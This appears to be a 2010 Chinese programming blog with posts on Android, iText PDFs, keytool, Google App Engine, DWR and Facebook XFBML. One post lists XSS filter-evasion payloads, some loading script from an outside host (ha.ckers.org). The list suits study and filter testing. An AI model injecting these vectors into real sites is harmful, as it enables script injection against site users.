2010年1月28日 星期四

Android學習筆記 - Hello World

使用TextView秀出Hello World

1. MainActivity.java
package org.me.android_helloworld;
import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;

public class MainActivity extends Activity {
    @Override
    public void onCreate(Bundle icicle) {
        super.onCreate(icicle);
        //設定要使用的layout
        setContentView(R.layout.main);
        //取得TextView物件
        TextView view = (TextView) findViewById(R.id.textView);
        view.setText("hellworld");
    }
}

2. main.xml
<?xml version="1.0" encoding="UTF-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
              android:orientation="vertical"
              android:layout_width="fill_parent"
              android:layout_height="fill_parent">
    <TextView
        android:id="@+id/textView"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"/>
</LinearLayout>

3. AndroidManifest.xml
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="org.me.android_helloworld">
    <application>
         <activity android:name=".MainActivity" android:label="MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>

4. 結果


2010年1月24日 星期日

98年11-12月統一發票中獎號碼

98年11月、12月統一發票中獎號碼
特獎
08206154
44449574
73344400
頭獎
01615321
81479582
97907891


新增六獎:757


2010年1月19日 星期二

Java - 使用iText輸出pdf檔(三) 表格(table)範例

1. 參考Java - 使用iText輸出pdf檔(一) Hello world範例

2. 表格(table)範例。
//建立PdfPTable物件並設定其欄位數
PdfPTable table = new PdfPTable(2);
//設定table的寬度
table.setWidthPercentage(100f);
//設定每個欄位的寬度
table.setWidths(new float[]{0.20f, 0.90f});

PdfPCell title = new PdfPCell();
//合併儲存格
title.setColspan(2);
title.addElement(new Phrase("Table's Title"));
table.addCell(title);

//設定第一個欄位的內容
PdfPCell cell_1 = new PdfPCell();
cell_1.addElement(new Phrase("Column 1"));
table.addCell(cell_1);

//設定第二個欄位的內容
PdfPCell cell_2 = new PdfPCell();
cell_2.addElement(new Phrase("Column 2"));
table.addCell(cell_2);

document.add(table);


Java - 使用iText輸出pdf檔(二) 中文字範例

1. 參考Java - 使用iText輸出pdf檔(一) Hello world範例

2. 設定中文字型。
//指定要使用的字型(KAIU.TTF為Windows內建的標楷體)
BaseFont bf = BaseFont.createFont("C:\\WINDOWS\\Fonts\\KAIU.TTF", BaseFont.IDENTITY_H,  BaseFont.NOT_EMBEDDED);
//設定中文字型(BaseFont、字型大小、字型型態)
Font chineseFont = new Font(bf, 12, Font.NORMAL);
//套用中文字型
document.add(new Phrase("這是中文",chineseFont));


2010年1月18日 星期一

Java - 使用iText輸出pdf檔(一) Hello world範例

1. 下載iText Jar檔

2. Hello world範例。
FileOutputStream fos = new FileOutputStream(new File("C:/Hello world.pdf"));
//建立一個Document物件,並設定頁面大小及左、右、上、下的邊界
Document document = new Document(PageSize.A4, 10, 20, 30, 40);
//設定要輸出的Stream
PdfWriter.getInstance(document, fos);
document.open();
//設定作者
document.addAuthor("Author");
//設定建立者
document.addCreator("createor");
//設定主題
document.addSubject("subject");
//設定標題
document.addTitle("title");
//設定建立時間(為當下時間)
document.addCreationDate();

document.add(new Phrase("Hello world\n"));

document.close();


Cross Site Scripting(XSS)攻擊手法介紹

1. 改變字元大小寫
    <sCript>alert('d')</scRipT>

2. 利用多加一些其它字元來規避Regular Expression的檢查
    <<script>alert('c')//<</script>
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
    <SCRIPT =">" SRC="t.js"></SCRIPT>
    <SCRIPT a=">" '' SRC="t.js"></SCRIPT>
    <SCRIPT "a='>'" SRC="t.js"></SCRIPT>
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
    <SCRIPT a=">'>" SRC="t.js"></SCRIPT>

3. 以其它副檔名取代.js
    <script src="bad.jpg"></script>

4. 將Javascript寫在CSS檔裡
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
       example:
          body {
               background-image: url('javascript:alert("XSS");')
          }

5. 在script的tag裡加入一些其它字元
    <SCRIPT/SRC="t.js"></SCRIPT>
    <SCRIPT/anyword SRC="t.js"></SCRIPT>

6. 使用tab或是new line來規避
    <img src="jav ascr ipt:alert('XSS3')">
    <img src="jav ascr ipt:alert('XSS3')">
    <IMG SRC="jav ascript:alert('XSS');">
         -> tag
         -> new line

7. 使用"\"來規避
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS32")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS33"))'>
    <IMG STYLE="xss:expr/*anyword*/ession(alert('sss'))">
    <DIV STYLE="width: expre\ssi\on(alert('XSS31'));">
    <A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>


8. 使用Hex encode來規避(也可能會把";"拿掉)
    <DIV STYLE="width: expre\ssi\on(alert('XSS31'));">
        原始碼:<DIV STYLE="width: expre\ssi\on(alert('XSS31'));">

    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('abc');">
        原始碼:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('abc');">


9. script in HTML tag
    <body onload=」alert('onload')」>
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload


10. 在swf裡含有xss的code
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

11. 利用CDATA將xss的code拆開,再組合起來。
    <XML ID=I><X><C>
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
    </C></X>
    </xml>
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

    <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>


12. 利用HTML+TIME。
    <HTML><BODY>
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
    <?import namespace="t" implementation="#default#time2">
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
    </BODY></HTML>


13. 透過META寫入Cookie。
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

14. javascript in src , href , url
    <IFRAME SRC=javascript:alert('13')></IFRAME>
    <img src="javascript:alert('XSS3')">
    <IMG DYNSRC="javascript:alert('XSS20')">
    <IMG LOWSRC="javascript:alert('XSS21')">
    <LINK REL="stylesheet" HREF="javascript:alert('XSS24');">
    <IFRAME SRC=javascript:alert('XSS27')></IFRAME>
    <TABLE BACKGROUND="javascript:alert('XSS29')">
    <DIV STYLE="background-image: url(javascript:alert('XSS30'))">
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert('XSS35')");}
    </STYLE><A CLASS=XSS></A>
    <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>


2010年1月17日 星期日

Java keytool 基本指令介紹

1. 匯入憑證到keystore
      keytool –import –alias xxx –file xxx.cer –keystore .keystore

2. 查詢keystore的內容
      keytool –list –v –keystore .keystore

3. 刪除keystore內的其中一個憑證
      keytool –delete –alias xxx –keystore .keystore

4. 產生金錀對(RSA為非對稱加密的演算法)
      keytool -genkey -alias xxx -keyalg RSA -keystore .keystore

5. 產生憑證申請檔
      keytool -certreq -alias xxx -file certreq.txt -keystore .keystore

6. 查詢PKCS12類型keystore的內容
      keytool –list –v –keystore .keystore -storetype pkcs12

7. 建立一個含有私鑰的keystore
      keytool -genkey -alias keyAlias -keyalg RSA -keystore keystore.jks

8. 修改keystore的密碼
      keytool -storepasswd -new newPassword -keystore keystore.jks


Google App Engine(GAE) - 使用Java Persistence API(JPA)

1. 在src\META_INF下建立persistence.xml。

    
        org.datanucleus.store.appengine.jpa.DatastorePersistenceProvider
        
            
            
            
        
    


2. 取得EntityManagerFactory。
EntityManagerFactory emf = Persistence
   .createEntityManagerFactory("transactions-optional");


Java Base64 Encode & Decode(編碼和解碼)

1. 下載所需的Jar檔。(這裡我們是使用Apache的commons-codec套件)

2. import org.apache.commons.codec.binary.Base64;

3. 使用Base64 Class進行編碼與解碼
Base64 base64 = new Base64();
//使用Base64進行字串編碼
String encodeString = new String(base64.encode("This is source string.".getBytes()));
//輸出結果將為"VGhpcyBpcyBzb3VyY2Ugc3RyaW5nLg=="
System.out.println(encodeString);
//使用Base64進行字串解碼
String decodeString = new String(base64.decode(encodeString.getBytes()));
//輸出結果將為"This is source string."
System.out.println(decodeString);


2010年1月14日 星期四

Google App Engine(GAE) - 利用Cron自訂排程

Cron主要的功能是每天在你所指定的時間發送Http Request給特定的網址。

1. 在WEB-INF下新增一個Cron的設定檔cron.xml


  
    
    /login.jsp
    登入頁面
    
    every 5 minutes
  

  
    /Index.do
    首頁
    
    every friday of month 23:00
     
    Asia/Taipei
  


2. 上傳到Google App Engine


3. 可以從管理介面看到目前的排程狀況


 



2010年1月12日 星期二

Direct Web Remoting(DWR) - Reverse Ajax

1. 要使用DWR Reverse Ajax需先指定參數activeReverseAjaxEnabled為true。

<servlet>
   <servlet-name>dwr-invoker</servlet-name>
   <servlet-class>org.directwebremoting.servlet.DwrServlet</servlet-class>
   <init-param>
     <param-name>debug</param-name>
     <param-value>true</param-value>
   </init-param>
   <init-param>
     <param-name>activeReverseAjaxEnabled</param-name>
     <param-value>true</param-value>
   </init-param>
   <load-on-startup>1</load-on-startup>
 </servlet>

2. 在要使用DWR Reverse Ajax的頁面(reverseAjax.jsp)加入以下設定。

<!-- DWR相關的Javascript -->
<script type='text/javascript' src='dwr/engine.js'></script>
<script type='text/javascript' src='dwr/util.js'></script>
<!-- 頁面載入時,即建立ReverseAjax連線 -->
<body onload="dwr.engine.setActiveReverseAjax(true);">
<!-- 從Server push回來的內容 -->
<span id="show"></span>


3. 觸發要回傳資料給Client端的Servlet。

ServerContext wctx = ServerContextFactory.get(this.getServletContext());
//取得要觸發的頁面
Collection sessions = wctx.getScriptSessionsByPage("/reverseAjax.jsp");
Util utilAll = new Util(sessions);
//設定回傳的內容,並指定放到DOM的哪個id內
utilAll.setValue("show", "這是Server回傳的資料");


2010年1月7日 星期四

Google App Engine(GAE) - 使用Google帳號進行驗證

1. 利用UserService取得利用Google帳號登入的連結。
UserService userService = UserServiceFactory.getUserService();
//Login.do即為使用者登入後要redirect的位置
//loginUrl即為登入連結,只要使用者連結此網址即可利用Google帳號進行登入
String loginUrl = userService.createLoginURL("/Login.do"); 

2. 利用HttpServletRequest取得登入使用者的帳號。
    String email = request.getUserPrincipal().getName();

3. 利用UserService取得登出連結。
UserService userService = UserServiceFactory.getUserService();
//login.jsp即為使用者登出後要redirect的位置
//logoutUrl即為登出連結,只要使用者連結此網址即可登出Google帳號
String logoutUrl = userService.createLogoutURL("/login.jsp");


2010年1月5日 星期二

建立Facebook應用程式 Java API (7) - 使用XFBML建立邀請頁面

1. 需先完成開始使用XFBML步驟。

2. 加入XFBML邀請頁面程式碼。
<fb:serverfbml>
    <script type="text/fbml">
      <fb:request-form action="http://apps.facebook.com/votequestionnaire/"
         target="_top" method="POST" invite="true" type="type"
         content="content <fb:req-choice url='http://apps.facebook.com/votequestionnaire/' label='label' />">

        <fb:multi-friend-selector showborder="false"
           actiontext="actiontext" exclude_ids="1111111,222222,333333"
           rows="5" cols="5" bypass="cancel" target="_top" max="25" email_invite="false" />
      </fb:request-form>
    </script>
</fb:serverfbml> 
3. 邀請頁面結果如下。(actiontext對應到fb:multi-friend-selector的actiontext屬性、type則對應到fb:request-form的type屬性)

4. 邀請函結果如下。(content對應到fb:request-form的content屬性、label對應到fb:req-choice的label屬性)










2010年1月4日 星期一

建立Facebook應用程式 Java API (6) - 開始使用XFBML

1. 建立crossDomain.jsp。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
    <head> <title>Cross-Domain Receiver Page</title>
    </head>
    <body>
        <script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/XdCommReceiver.js?2" type="text/javascript">
        </script>
    </body>
</html>


2. 修改聯外通網址(為放置crossDomain.jsp的同一個domain)。



3. 建立需要使用XFBML的網頁。

   a. 需使用取代原有的<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">取代原有的<html>
   b. <body>在之後加入二個script
<script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/en_US" type="text/javascript"></script>
<script type="text/javascript">
FB_RequireFeatures(["XFBML"], function(){ FB.Facebook.init("你的apiKey", "crossDomain.jsp位置"); });
</script>